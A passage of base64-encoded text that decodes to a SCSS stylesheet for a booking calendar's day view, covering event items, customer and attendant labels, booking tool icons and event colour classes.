11cCAuZXZlbnQtaXRlbSB7XG4gIHBhZGRpbmctdG9wOiAxMHB4O1xuICBoZWlnaHQ6IDEwMCU7XG4gIGRpc3BsYXk6IGZsZXg7XG4gIGJvcmRlci10b3Atd2lkdGg6IDA7XG59XG5cbiNjYWwtZGF5LWJveCAuZGF5LWV2ZW50LmJyZWFrLXVwLmRheS1oaWdobGlnaHQge1xuICBib3JkZXItdG9wLXdpZHRoOiAwO1xufVxuXG4jY2FsLWRheS1ib3ggLmRheS1ldmVudC5uby1ib3JkZXItdG9wLmRheS1oaWdobGlnaHQge1xuICBib3JkZXItdG9wLXdpZHRoOiAwO1xufVxuXG4vLyogRElNSVRSSSAqLy9cbiRjbF9kX3RleHQtLWV2aWQ6IHJnYmEoMCwgMCwgMCwgMSk7XG4kY2xfZF90ZXh0OiByZ2JhKDUxLCA1MSwgNTEsIDEpO1xuJGNsX2RfdGV4dC1hNTogcmdiYSgzOCwgMzgsIDM4LCAwLjUpO1xuJGNsX2RfdGV4dC1hMTU6IHJnYmEoMzgsIDM4LCAzOCwgMC4xNSk7XG4kY2xfZF9pY29uOiAjMDA0MjU4O1xuJGNsX2RfaWNvbi0taG92ZXI6ICMwMDg5Yjc7XG4kY2xfZF9iZy1saWdodGJsdWU6ICM5ZWQ4ZjI7XG5cbi5jYWwtZGF5LXBhbmVsX193cmFwcGVyIHtcbiAgbWF4LWhlaWdodDogODAwcHg7XG4gIHdpZHRoOiAxMDAlO1xuICBvdmVyZmxvdzogYXV0bztcbiAgLyogU3RhbmRhcmRpemVkIHNjcm9sbGJhciBwcm9wZXJ0aWVzIGZvciBGaXJlZm94IGFuZCBtb2Rlcm4gYnJvd3NlcnMgKi9cbiAgc2Nyb2xsYmFyLXdpZHRoOiB0aGluO1xuICBzY3JvbGxiYXItY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfZF9iZy0tbWFpbi0tbGlnaHRcbiAgICBhZG1pbl9jb25maWcuJGNsX2RfYmctLWxpZ2h0LTI7XG5cbiAgLyogV2ViS2l0IHNjcm9sbGJhciBzdHlsaW5nIGZvciBDaHJvbWUsIFNhZmFyaSwgRWRnZSAqL1xuICAmOjotd2Via2l0LXNjcm9sbGJhciB7XG4gICAgd2lkdGg6IDAuNXJlbTtcbiAgfVxuXG4gICY6Oi13ZWJraXQtc2Nyb2xsYmFyLXRyYWNrIHtcbiAgICBiYWNrZ3JvdW5kOiB0cmFuc3BhcmVudDtcbiAgICBib3JkZXItcmFkaXVzOiAwLjI1cmVtO1xuICAgIG1hcmdpbjogMS4yNXJlbSAwO1xuICB9XG5cbiAgJjo6LXdlYmtpdC1zY3JvbGxiYXItdGh1bWIge1xuICAgIGJhY2tncm91bmQ6IHRyYW5zcGFyZW50O1xuICAgIGJvcmRlci1yYWRpdXM6IDAuMjVyZW07XG5cbiAgICAmOmhvdmVyIHtcbiAgICAgIGJhY2tncm91bmQ6IHRyYW5zcGFyZW50O1xuICAgIH1cbiAgfVxufVxuXG4uZGF5LWV2ZW50LWl0ZW1fX2NhbGVuZGFyLWRheSB7XG4gIG1pbi1oZWlnaHQ6IDgwcHg7XG4gIGhlaWdodDogMTAwJTtcbiAgZGlzcGxheTogZ3JpZDtcbiAgZ3JpZC10ZW1wbGF0ZS1yb3dzOiBhdXRvIGF1dG8gMWZyIGF1dG87XG4gIGdyaWQtdGVtcGxhdGUtY29sdW1uczogYXV0byAzMHB4O1xuICBncmlkLWNvbHVtbi1nYXA6IDBweDtcbiAgZ3JpZC1yb3ctZ2FwOiAwcHg7XG4gIHBhZGRpbmc6IDVweCA3cHg7XG4gIGNvbG9yOiAkY2xfZF90ZXh0LS1ldmlkO1xuICBmb250LXNpemU6IDE0cHg7XG4gICYuZHVyYXRpb24tMTVfX3dyYXBwZXItLWNsb3NlZCB7XG4gICAgbWluLWhlaWdodDogNTBweDtcbiAgICBoZWlnaHQ6IDUwJTtcbiAgICAuc2xuLWljb24tLXBsdXMtY2lyY2xlOjphZnRlciB7XG4gICAgICB0b3A6IDA7XG4gICAgfVxuICB9XG4gIC5zbG4taWNvbi0tcGx1cy1jaXJjbGU6aG92ZXIge1xuICAgIGN1cnNvcjogcG9pbnRlcjtcbiAgICBjb2xvcjogJGNsX2RfaWNvbi0taG92ZXI7XG4gIH1cbn1cbi5kYXktZXZlbnQtaXRlbV9fY2FsZW5kYXItZGF5X19oZWFkZXIge1xuICBncmlkLWNvbHVtbjogMSAvIHNwYW4gMjtcbiAgZ3JpZC1yb3c6IDE7XG4gIGRpc3BsYXk6IGdyaWQ7XG4gIGdyaWQtdGVtcGxhdGUtY29sdW1uczogYXV0byAzMHB4O1xuICBtYXJnaW46IC01cHggLTdweCAwIC03cHg7XG4gIHBhZGRpbmc6IDVweCA3cHggNXB4IDdweDtcbiAgcG9zaXRpb246IHJlbGF0aXZlO1xuICAmOjphZnRlciB7XG4gICAgZGlzcGxheTogYmxvY2s7XG4gICAgY29udGVudDogJyc7XG4gICAgYmFja2dyb3VuZC1jb2xvcjogI2YyZDg5ZTtcbiAgICBtaXgtYmxlbmQtbW9kZTogbXVsdGlwbHk7XG4gICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgIHRvcDogMDtcbiAgICByaWdodDogMDtcbiAgICBib3R0b206IDA7XG4gICAgbGVmdDogMDtcbiAgICB6LWluZGV4OiAtMTtcbiAgICBvcGFjaXR5OiAwO1xuICB9XG59XG4uZGF5LWV2ZW50LWl0ZW1fX2N1c3RvbWVyIHtcbiAgZ3JpZC1jb2x1bW46IDE7XG4gIGdyaWQtcm93OiAxO1xuICBmb250LXdlaWdodDogNjAwO1xuICBsaW5lLWhlaWdodDogMjBweDtcbiAgZGlzcGxheTogZmxleDtcbiAgLnNsbi1pY29uLS1jaGVja21hcmsge1xuICAgIGNvbG9yOiAjMjYyNjI2O1xuICAgIHBhZGRpbmctbGVmdDogMjBweDtcbiAgfVxuICAuZGF5LWV2ZW50LWl0ZW1fX2N1c3RvbWVyLW5hbWUge1xuICAgIG1heC13aWR0aDogMTIwcHg7XG4gICAgdGV4dC1vdmVyZmxvdzogZWxsaXBzaXM7XG4gICAgd2hpdGUtc3BhY2U6IG5vd3JhcDtcbiAgICBvdmVyZmxvdzogaGlkZGVuO1xuICAgIGZvbnQtc2l6ZTogMTRweDtcbiAgfVxufVxuXG4uZGF5LWV2ZW50LWl0ZW1fX2Jvb2tpbmdfaWQge1xuICBncmlkLWNvbHVtbjogMjtcbiAgb3BhY2l0eTogMC41O1xuICBmb250LXdlaWdodDogNzAwO1xuICBqdXN0aWZ5LXNlbGY6IGVuZDtcbiAgbGluZS1oZWlnaHQ6IDIwcHg7XG4gIGZvbnQtc2l6ZTogMTRweDtcbn1cbi8vIC5kYXktZXZlbnQtaXRlbV9fY2FsZW5kYXItZGF5IHtcbi8vIH1cbi5kYXktZXZlbnQtaXRlbV9fY2FsZW5kYXItZGF5IHVsLnNlcnZpY2Vfd3JhcHBlciB7XG4gIGdyaWQtY29sdW1uOiAxIC8gc3BhbiAyO1xuICBncmlkLXJvdzogMjtcbiAgbGlzdC1zdHlsZS10eXBlOiBub25lO1xuICBwYWRkaW5nOiAwcHg7XG4gIG1hcmdpbi10b3A6IDA7XG4gIG1hcmdpbi1ib3R0b206IDZweDtcbiAgcGFkZGluZy1sZWZ0OiAwO1xuICBsaW5lLWhlaWdodDogMjBweDtcbiAgdGV4dC13cmFwOiBub3dyYXA7XG4gIGxpIHtcbiAgICBtYXJnaW4tYm90dG9tOiAzcHg7XG4gICAgcGFkZGluZzogM3B4IDA7XG4gICAgYm9yZGVyLWJvdHRvbTogMXB4IHNvbGlkICRjbF9kX3RleHQtYTE1O1xuICAgICY6bGFzdC1jaGlsZCB7XG4gICAgICBib3JkZXItYm90dG9tOiBub25lO1xuICAgIH1cbiAgICAmOm9ubHktY2hpbGQge1xuICAgICAgbWFyZ2luLWJvdHRvbTogMDtcbiAgICAgIHBhZGRpbmctYm90dG9tOiAwO1xuICAgIH1cbiAgfVxufVxuLmRheS1ldmVudC1pdGVtX19zZXJ2aWNlIHtcbiAgY29sb3I6ICRjbF9kX3RleHQ7XG4gIGZvbnQtd2VpZ2h0OiA2MDA7XG4gIGZvbnQtc2l6ZTogMTRweDtcbiAgd2lkdGg6IDEwMCU7XG4gIGRpc3BsYXk6IGJsb2NrO1xuICBtYXgtd2lkdGg6IDE4MHB4O1xuICB0ZXh0LW92ZXJmbG93OiBlbGxpcHNpcztcbiAgd2hpdGUtc3BhY2U6IG5vd3JhcDtcbiAgb3ZlcmZsb3c6IGhpZGRlbjtcbn1cblxuLmRheS1ldmVudC1pdGVtX19hdHRlbmRhbnQge1xuICBmb250LXNpemU6IDE0cHg7XG4gIC5kYXktZXZlbnQtaXRlbV9fYXR0ZW5kYW50X25hbWUge1xuICAgIGRpc3BsYXk6IGJsb2NrO1xuICAgIHRleHQtb3ZlcmZsb3c6IGVsbGlwc2lzO1xuICAgIHdoaXRlLXNwYWNlOiBub3dyYXA7XG4gICAgb3ZlcmZsb3c6IGhpZGRlbjtcbiAgICBtYXgtd2lkdGg6IDkwcHg7XG4gICAgZmxvYXQ6IGxlZnQ7XG4gIH1cbn1cblxuLmRheS1ldmVudC1pdGVtX19hdHRlbmRhbnRfdGltaW5nIHtcbiAgZm9udC1zaXplOiAxMnB4O1xuICBtYXJnaW4tbGVmdDogM3B4O1xufVxuXG4vLyBXYWxrLUluIEJhZGdlXG4uc2xuLXdhbGtpbi1iYWRnZSB7XG4gIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgYm90dG9tOiA4cHg7XG4gIGxlZnQ6IDhweDtcbiAgZm9udC1zaXplOiAxOHB4O1xuICBvcGFjaXR5OiAwLjc7XG4gIHRyYW5zaXRpb246IG9wYWNpdHkgMC4ycyBlYXNlLCB0cmFuc2Zvcm0gMC4ycyBlYXNlO1xuICBsaW5lLWhlaWdodDogMTtcbiAgei1pbmRleDogMTA7XG4gIFxuICAmOmhvdmVyIHtcbiAgICBvcGFjaXR5OiAxO1xuICAgIHRyYW5zZm9ybTogc2NhbGUoMS4yKTtcbiAgfVxufVxuXG5kaXYubW9yZV9kZXRhaWxzIHtcbiAgZ3JpZC1jb2x1bW46IDEgLyBzcGFuIDI7XG4gIGdyaWQtcm93OiA0O1xuICBtYXJnaW4tdG9wOiAyMHB4O1xuICBtYXJnaW4tcmlnaHQ6IC03cHg7XG4gIG1hcmdpbi1ib3R0b206IC01cHg7XG4gIG1hcmdpbi1sZWZ0OiAtN3B4O1xuICBwYWRkaW5nLXRvcDogMTVweDtcbiAgcGFkZGluZy1yaWdodDogN3B4O1xuICBwYWRkaW5nLWxlZnQ6IDdweDtcbiAgZGlzcGxheTogbm9uZTtcbiAgYmFja2dyb3VuZC1jb2xvcjogcmdiYSgwLCAwLCAwLCAwLjEpO1xuICB1bCB7XG4gICAgbGlzdC1zdHlsZS10eXBlOiBub25lO1xuICAgIHBhZGRpbmc6IDBweDtcbiAgICBtYXJnaW4tdG9wOiAwO1xuICAgIHBhZGRpbmctbGVmdDogMDtcbiAgICBsaSB7XG4gICAgICBtYXJnaW4tYm90dG9tOiA1cHg7XG4gICAgICBmb250LXNpemU6IDAuOWVtO1xuICAgICAgZGlzcGxheTogYmxvY2s7XG4gICAgICBwb3NpdGlvbjogcmVsYXRpdmU7XG4gICAgICB3aWR0aDogMTAwJTtcbiAgICAgIGxpbmUtaGVpZ2h0OiAxOXB4O1xuICAgIH1cbiAgfVxufVxuLmRheS1ldmVudC1pdGVtX19jYWxlbmRhci1kYXlcbiAgLmNvbmZpcm0tZGVsZXRlOm5vdChbc3R5bGUqPSd2aXNpYmlsaXR5OiB2aXNpYmxlOyddKSB7XG4gIGhlaWdodDogMTVweDtcbiAgbWFyZ2luOiAwO1xuICBwYWRkaW5nOiAwO1xuICBvdmVyZmxvdzogaGlkZGVuO1xufVxuXG5zcGFuLmFtb3VudF92YWx1ZSB7XG4gIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgcmlnaHQ6IDBweDtcbiAgZm9udC13ZWlnaHQ6IDcwMDtcbiAgZm9udC1zaXplOiAxLjJlbTtcbn1cblxuLmJvb2tpbmdfZHVlX2Ftb3VudCAuYW1vdW50X3ZhbHVlIHtcbiAgZm9udC13ZWlnaHQ6IDYwMDtcbn1cblxuZGl2LmJvb2tpbmdfdG9vbHMge1xuICB3aWR0aDogMTAwJTtcbiAgZGlzcGxheTogZmxleDtcbiAganVzdGlmeS1jb250ZW50OiBjZW50ZXI7XG4gIGFsaWduLWl0ZW1zOiBjZW50ZXI7XG4gIHBvc2l0aW9uOiByZWxhdGl2ZTtcbiAgLmJvb2tpbmdfdG9vbF9pdGVtIHtcbiAgICBmbGV4LWdyb3c6IDE7XG4gICAgcG9zaXRpb246IHJlbGF0aXZlO1xuICAgIGEge1xuICAgICAgZGlzcGxheTogYmxvY2s7XG4gICAgfVxuICAgIC5zbG4tYnRuLS1pY29uIHtcbiAgICAgICY6OmFmdGVyIHtcbiAgICAgICAgZGlzcGxheTogaW5saW5lLWJsb2NrO1xuICAgICAgICB3aWR0aDogMzBweDtcbiAgICAgICAgaGVpZ2h0OiAzMHB4O1xuICAgICAgICBwb3NpdGlvbjogcmVsYXRpdmU7XG4gICAgICAgIHRvcDogdW5zZXQ7XG4gICAgICAgIHJpZ2h0OiB1bnNldDtcbiAgICAgICAgYm90dG9tOiB1bnNldDtcbiAgICAgICAgY29sb3I6ICRjbF9kX2ljb247XG4gICAgICAgIGZvbnQtc2l6ZTogMS4zZW07XG4gICAgICB9XG4gICAgICAmOmhvdmVyIHtcbiAgICAgICAgJjo6YWZ0ZXIge1xuICAgICAgICAgIGNvbG9yOiAkY2xfZF9pY29uLS1ob3ZlcjtcbiAgICAgICAgfVxuICAgICAgfVxuICAgIH1cbiAgICAmOm50aC1jaGlsZCgxKSB7XG4gICAgICBhIHtcbiAgICAgICAgdGV4dC1hbGlnbjogbGVmdDtcbiAgICAgIH1cbiAgICB9XG4gICAgJjpudGgtY2hpbGQoMykge1xuICAgICAgYSB7XG4gICAgICAgIHRleHQtYWxpZ246IHJpZ2h0O1xuICAgICAgfVxuICAgIH1cbiAgICBhOmhvdmVyIHtcbiAgICAgIC5zbG4tYnRuLS1pY29uIHtcbiAgICAgICAgJjo6YWZ0ZXIge1xuICAgICAgICAgIGNvbG9yOiAkY2xfZF9pY29uLS1ob3ZlcjtcbiAgICAgICAgfVxuICAgICAgfVxuICAgIH1cbiAgfVxufVxuLnNsbi1mcmVlLXZlcnNpb24ge1xuICAuYm9va2luZ190b29sX2l0ZW1fcHJvbW9saW5rIHtcbiAgICBkaXNwbGF5OiBub25lO1xuICAgIHdpZHRoOiBtYXgtY29udGVudDtcbiAgICBwYWRkaW5nOiAwLjc1ZW0gMWVtIDAuNWVtO1xuICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICB0b3A6IDUwJTtcbiAgICBsZWZ0OiAxMDAlO1xuICAgIHRyYW5zZm9ybTogdHJhbnNsYXRlWSgtNTAlKTtcbiAgICB6LWluZGV4OiA5OTk5OTk7XG4gICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gICAgdGV4dC1kZWNvcmF0aW9uOiBub25lO1xuICAgIGxpbmUtaGVpZ2h0OiAxLjc1O1xuICAgIGJhY2tncm91bmQtY29sb3I6IHJnYmEoMTgsIDY3LCAxMjEsIDEpO1xuICAgIGJhY2tncm91bmQ6IGxpbmVhci1ncmFkaWVudChcbiAgICAgIDkwZGVnLFxuICAgICAgcmdiYSgxOCwgNjcsIDEyMSwgMSkgMCUsXG4gICAgICByZ2JhKDM0LCA4NywgMTQ1LCAxKSA1MSUsXG4gICAgICByZ2JhKDE4LCA2NywgMTIxLCAxKSAxMDAlXG4gICAgKTtcbiAgICBvcGFjaXR5OiAwO1xuICAgIHBvaW50ZXItZXZlbnRzOiBub25lO1xuICAgIHRyYW5zaXRpb246IG9wYWNpdHkgMTUwbXM7XG4gICAgc3Ryb25nIHtcbiAgICAgIGRpc3BsYXk6IGlubGluZS1ibG9jaztcbiAgICAgIGJvcmRlci1ib3R0b206IDJweCBzb2xpZCBjdXJyZW50Q29sb3I7XG4gICAgfVxuICAgICY6OmJlZm9yZSB7XG4gICAgICBkaXNwbGF5OiBpbmxpbmUtYmxvY2s7XG4gICAgICBjb250ZW50OiAnJztcbiAgICAgIHdpZHRoOiAwO1xuICAgICAgaGVpZ2h0OiAwO1xuICAgICAgcG9zaXRpb246IGFic29sdXRlO1xuICAgICAgdG9wOiA1MCU7XG4gICAgICBsZWZ0OiAtN3B4O1xuICAgICAgdHJhbnNmb3JtOiB0cmFuc2xhdGVZKC01MCUpO1xuICAgICAgYm9yZGVyLXRvcDogOHB4IHNvbGlkIHRyYW5zcGFyZW50O1xuICAgICAgYm9yZGVyLXJpZ2h0OiA4cHggc29saWQgcmdiYSgxOCwgNjcsIDEyMSwgMSk7XG4gICAgICBib3JkZXItYm90dG9tOiA4cHggc29saWQgdHJhbnNwYXJlbnQ7XG4gICAgfVxuICB9XG4gIC5ib29raW5nX3Rvb2xfaXRlbSxcbiAgLm1vcmVfZGV0YWlscyB1bCB7XG4gICAgcG9zaXRpb246IHJlbGF0aXZlO1xuICAgIEBtZWRpYSAoaG92ZXI6IGhvdmVyKSBhbmQgKHBvaW50ZXI6IGZpbmUpIHtcbiAgICAgICY6aG92ZXIge1xuICAgICAgICAuYm9va2luZ190b29sX2l0ZW1fcHJvbW9saW5rIHtcbiAgICAgICAgICBkaXNwbGF5OiBibG9jaztcbiAgICAgICAgICBvcGFjaXR5OiAxO1xuICAgICAgICAgIHBvaW50ZXItZXZlbnRzOiBhdXRvO1xuICAgICAgICB9XG4gICAgICB9XG4gICAgfVxuICB9XG4gIC5tb3JlX2RldGFpbHMgdWwgbGkge1xuICAgIG9wYWNpdHk6IDAuNTtcbiAgfVxuXG4gIC5tb3JlX2RldGFpbHNfcHJvbW9saW5rIHtcbiAgICB3aWR0aDogMTAwJTtcbiAgICBkaXNwbGF5OiBncmlkO1xuICAgIGdyaWQtdGVtcGxhdGUtY29sdW1uczogYXV0byBhdXRvO1xuICAgIGdyaWQtdGVtcGxhdGUtcm93czogMWZyO1xuICAgIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgICB0b3A6IGNhbGMoMTAwJSArIDEwcHgpO1xuICAgIGxlZnQ6IDA7XG4gICAgdGV4dC1kZWNvcmF0aW9uOiBub25lO1xuICAgIGZvbnQtc2l6ZTogc2V0dGluZ3MtbWl4aW5zLnJlbSgxNHB4KTtcbiAgICBjb2xvcjogJGNsX2RfdGV4dC0tZXZpZDtcbiAgICBzcGFuIHtcbiAgICAgIHRleHQtYWxpZ246IGNlbnRlcjtcbiAgICB9XG4gICAgc3Ryb25nIHtcbiAgICAgIGRpc3BsYXk6IGlubGluZS1ibG9jaztcbiAgICAgIHBhZGRpbmc6IDAgMC41ZW07XG4gICAgICB0ZXh0LXRyYW5zZm9ybTogdXBwZXJjYXNlO1xuICAgICAgY29sb3I6IGFkbWluX2NvbmZpZy4kY2xfbWFpbi0td2hpdGU7XG4gICAgICBiYWNrZ3JvdW5kLWNvbG9yOiByZ2JhKDM0LCA4NywgMTQ1LCAxKTtcbiAgICAgIHRleHQtYWxpZ246IGNlbnRlcjtcbiAgICAgIGJvcmRlci1yYWRpdXM6IHNldHRpbmdzLW1peGlucy5yZW0oNHB4KTtcbiAgICAgIC8qIEZJWCAwOTIwMjNcblx0XHRcdCY6OmJlZm9yZSB7XG5cdFx0XHRcdHBhZGRpbmctcmlnaHQ6IDAuNWVtO1xuXHRcdFx0XHRAZXh0ZW5kICVmb250LWljb247XG5cdFx0XHRcdGZvbnQtc2l6ZTogc2V0dGluZ3MtbWl4aW5zLnJlbSgxNHB4KTtcblx0XHRcdFx0Zm9udC1zdHlsZTogbm9ybWFsO1xuXHRcdFx0XHRjb250ZW50OiBcIlxcZjA5Y1wiO1xuXHRcdFx0fVxuXHRcdFx0Ki9cbiAgICB9XG5cbiAgICBAbWVkaWEgKGhvdmVyOiBob3ZlcikgYW5kIChwb2ludGVyOiBmaW5lKSB7XG4gICAgICBkaXNwbGF5OiBub25lO1xuICAgIH1cbiAgfVxufVxuLmNvbmZpcm0tZGVsZXRlIHtcbiAgbWFyZ2luLXRvcDogMzBweDtcbiAgcGFkZGluZy1yaWdodDogMmVtO1xuICB2aXNpYmlsaXR5OiBoaWRkZW47XG4gIC5jbG9zZSB7XG4gICAgdG9wOiAtMzVweCAhaW1wb3J0YW50O1xuICB9XG59XG5cbi5yb3RhdGUge1xuICAmOmFmdGVyIHtcbiAgICB0cmFuc2Zvcm06IHJvdGF0ZSg0NWRlZyk7XG4gICAgY29sb3I6ICRjbF9kX3RleHQtYTU7XG4gICAgdHJhbnNpdGlvbjpcbiAgICAgIGJhY2tncm91bmQtY29sb3IgMjAwbXMsXG4gICAgICBjb2xvciAzMDBtcyxcbiAgICAgIG9wYWNpdHkgMjUwbXM7XG4gIH1cbiAgJjpob3ZlciB7XG4gICAgY3Vyc29yOiBwb2ludGVyO1xuICAgICY6YWZ0ZXIge1xuICAgICAgY29sb3I6ICRjbF9kX2ljb24tLWhvdmVyO1xuICAgIH1cbiAgfVxufVxuXG5kaXYuYm9va2luZ190b29scyAuYm9va2luZ190b29sX2l0ZW0uZGlzYWJsZWQgYSBpLnNsbi1idG4tLWljb246YWZ0ZXIge1xuICBjb2xvcjogJGNsX2RfaWNvbjtcbiAgb3BhY2l0eTogMC40O1xufVxuZGl2LmJvb2tpbmdfdG9vbHMgLmJvb2tpbmdfdG9vbF9pdGVtLmRpc2FibGVkIGEgaS5zbG4tYnRuLS1pY29uOmFmdGVyOmhvdmVyIHtcbiAgY29sb3I6ICRjbF9kX2ljb247XG4gIG9wYWNpdHk6IDAuNDtcbn1cbmRpdi5ib29raW5nX3Rvb2xzIC5ib29raW5nX3Rvb2xfaXRlbS5kaXNhYmxlZCBhIHtcbiAgYm94LXNoYWRvdzogbm9uZTtcbn1cbiNjYWwtZGF5LWJveCAuZGF5LWhpZ2hsaWdodC5kYXktZXZlbnQtbWFpbi1ibG9jayB7XG4gIG92ZXJmbG93OiB2aXNpYmxlO1xufVxuI2NhbC1kYXktcGFuZWwtaG91ciAuY2FsLWRheS1ob3VyLXBhcnQgLmNhbC1kYXktaG91ci1wYXJ0LWZpcnN0LWNvbHVtbiB7XG4gIGhlaWdodDogMTAwcHg7XG4gIHdpZHRoOiAyMDBweDtcbn1cblxuJGNsX2Rfd2FybmluZzogI2YyZDg5ZTtcbiNjYWwtZGF5LWJveCAuZGF5LWhpZ2hsaWdodCB7XG4gIHBvc2l0aW9uOiBhYnNvbHV0ZTtcbiAgd2lkdGg6IDgwcHg7XG4gIGxpbmUtaGVpZ2h0OiAzMHB4O1xuICBib3gtc2l6aW5nOiBib3JkZXItYm94O1xuICAtbW96LWJveC1zaXppbmc6IGJvcmRlci1ib3g7XG4gIC13ZWJraXQtYm94LXNpemluZzogYm9yZGVyLWJveDtcbiAgYm9yZGVyLXRvcDogMXB4IHNvbGlkICNjM2MzYzM7XG4gIGJvcmRlci1sZWZ0OiA1cHggc29saWQgI2MzYzNjMztcbiAgb3ZlcmZsb3c6IGhpZGRlbjtcbiAgdGV4dC1vdmVyZmxvdzogZWxsaXBzaXM7XG59XG4jY2FsLWRheS1ib3ggLmRheS1oaWdobGlnaHQuZGgtZXZlbnQtZGFuZ2VyIHtcbiAgYm9yZGVyLXRvcDogMXB4IHNvbGlkICNhZDIxMjE7XG4gIGJvcmRlci1sZWZ0OiA1cHggc29saWQgI2FkMjEyMTtcbn1cbiNjYWwtZGF5LWJveCAuZGF5LWhpZ2hsaWdodC5kaC1ldmVudC13YXJuaW5nIHtcbiAgYm9yZGVyLXRvcDogMXB4IHNvbGlkICNmZjlkMDI7XG4gIGJvcmRlci1sZWZ0OiA1cHggc29saWQgI2ZmOWQwMjtcbn1cbiNjYWwtZGF5LWJveCAuZGF5LWhpZ2hsaWdodC5kaC1ldmVudC1pbmZvIHtcbiAgYm9yZGVyLXRvcDogMXB4IHNvbGlkICMwMGIwZmY7XG4gIGJvcmRlci1sZWZ0OiA1cHggc29saWQgIzFlOTBmZjtcbn1cbiNjYWwtZGF5LWJveCAuZGF5LWhpZ2hsaWdodC5kaC1ldmVudC1pbnZlcnNlIHtcbiAgYm9yZGVyLXRvcDogMXB4IHNvbGlkICMxYjFiMWI7XG4gIGJvcmRlci1sZWZ0OiA1cHggc29saWQgIzFiMWIxYjtcbn1cbiNjYWwtZGF5LWJveCAuZGF5LWhpZ2hsaWdodC5kaC1ldmVudC1zdWNjZXNzIHtcbiAgYm9yZGVyLXRvcDogMXB4IHNvbGlkICM1M2E5MWE7XG4gIGJvcmRlci1sZWZ0OiA1cHggc29saWQgIzUzYTkxYTtcbn1cbiNjYWwtZGF5LWJveCAuZGF5LWhpZ2hsaWdodC5kaC1ldmVudC1zcGVjaWFsIHtcbiAgYmFja2dyb3VuZC1jb2xvcjogI2ZmZTZmZjtcbiAgYm9yZGVyLXRvcDogMXB4IHNvbGlkICM4MDAwODA7XG4gIGJvcmRlci1sZWZ0OiA1cHggc29saWQgIzgwMDA4MDtcbn1cbiNjYWwtZGF5LWJveCAuYXR0LXVuYXZhaWxhYmxlLWhpZ2hsaWdodCB7XG4gIGhlaWdodDogMTAwcHg7XG4gIHdpZHRoOiAyMDBweDtcbiAgbGVmdDogODJweDtcbiAgcG9zaXRpb246IGFic29sdXRlO1xuICBiYWNrZ3JvdW5kLWNvbG9yOiAjYzNjM2MzO1xufVxuLmV2ZW50IHtcbiAgZGlzcGxheTogYmxvY2s7XG4gIGJhY2tncm91bmQtY29sb3I6ICNjM2MzYzM7XG4gIHdpZHRoOiAyNHB4O1xuICBoZWlnaHQ6IDEycHg7XG4gIG1hcmdpbi1yaWdodDogMnB4O1xuICBtYXJnaW4tYm90dG9tOiAycHg7XG59XG4uZXZlbnQtYmxvY2sge1xuICBkaXNwbGF5OiBibG9jaztcbiAgYmFja2dyb3VuZC1jb2xvcjogI2MzYzNjMztcbiAgd2lkdGg6IDIwcHg7XG4gIGhlaWdodDogMTAwJTtcbn1cbi5jYWwtZXZlbnQtbGlzdCAuZXZlbnQucHVsbC1sZWZ0IHtcbiAgbWFyZ2luLXRvcDogM3B4O1xufVxuLmV2ZW50LWRhbmdlciB7XG4gIGJhY2tncm91bmQtY29sb3I6ICNmMjllOWU7XG59XG4uZXZlbnQtaW5mbyB7XG4gIGJhY2tncm91bmQtY29sb3I6ICRjbF9kX2JnLWxpZ2h0Ymx1ZTtcbn1cbi5ldmVudC13YXJuaW5nIHtcbiAgYmFja2dyb3VuZC1jb2xvcjogJGNsX2Rfd2FybmluZztcbn1cbi5ldmVudC1pbnZlcnNlIHtcbiAgYmFja2dyb3VuZC1jb2xvcjogIzFiMWIxYjtcbn1cbi5ldmVudC1zdWNjZXNzIHtcbiAgYmFja2dyb3VuZC1jb2xvcjogI2FiZjI5ZTtcbn1cbi5ldmVudC1zcGVjaWFsIHtcbiAgYmFja2dyb3VuZC1jb2xvcjogIzgwMDA4MDtcbn1cblxuI2NhbC1kYXktYm94IHtcbiAgLmRheS1oaWdobGlnaHQ6aG92ZXIsXG4gIC5kYXktaGlnaGxpZ2h0IHtcbiAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZGRkZGRkO1xuICAgIC5kYXktZXZlbnQtaXRlbV9fY2FsZW5kYXItZGF5X19oZWFkZXI6OmFmdGVyIHtcbiAgICAgIGJhY2tncm91bmQtY29sb3I6ICNkZGRkZGQ7XG4gICAgfVxuICB9XG4gIC5kYXktaGlnaGxpZ2h0LmRoLWV2ZW50LWRhbmdlcjpob3ZlcixcbiAgLmRheS1oaWdobGlnaHQuZGgtZXZlbnQtZGFuZ2VyIHtcbiAgICBiYWNrZ3JvdW5kLWNvbG9yOiAjZjI5ZTllO1xuICAgIC5kYXktZXZlbnQtaXRlbV9fY2FsZW5kYXItZGF5X19oZWFkZXI6OmFmdGVyIHtcbiAgICAgIGJhY2tncm91bmQtY29sb3I6ICNmMjllOWU7XG4gICAgfVxuICB9XG4gIC5kYXktaGlnaGxpZ2h0LmRoLWV2ZW50LXdhcm5pbmc6aG92ZXIsXG4gIC5kYXktaGlnaGxpZ2h0LmRoLWV2ZW50LXdhcm5pbmcge1xuICAgIGJhY2tncm91bmQtY29sb3I6ICRjbF9kX3dhcm5pbmc7XG4gICAgLmRheS1ldmVudC1pdGVtX19jYWxlbmRhci1kYXlfX2hlYWRlcjo6YWZ0ZXIge1xuICAgICAgYmFja2dyb3VuZC1jb2xvcjogJGNsX2Rfd2FybmluZztcbiAgICB9XG4gIH1cbiAgLmRheS1oaWdobGlnaHQuZGgtZXZlbnQtaW5mbzpob3ZlcixcbiAgLmRheS1oaWdobGlnaHQuZGgtZXZlbnQtaW5mbyB7XG4gICAgYmFja2dyb3VuZC1jb2xvcjogJGNsX2RfYmctbGlnaHRibHVlO1xuICAgIC5kYXktZXZlbnQtaXRlbV9fY2FsZW5kYXItZGF5X19oZWFkZXI6OmFmdGVyIHtcbiAgICAgIGJhY2tncm91bmQtY29sb3I6ICRjbF9kX2JnLWxpZ2h0Ymx1ZTtcbiAgICB9XG4gIH1cbiAgLmRheS1oaWdobGlnaHQuZGgtZXZlbnQtaW52ZXJzZTpob3ZlcixcbiAgLmRheS1oaWdobGlnaHQuZGgtZXZlbnQtaW52ZXJzZSB7XG4gICAgYmFja2dyb3VuZC1jb2xvcjogI2MxYzFjMTtcbiAgICAuZGF5LWV2ZW50LWl0ZW1fX2NhbGVuZGFyLWRheV9faGVhZGVyOjphZnRlciB7XG4gICAgICBiYWNr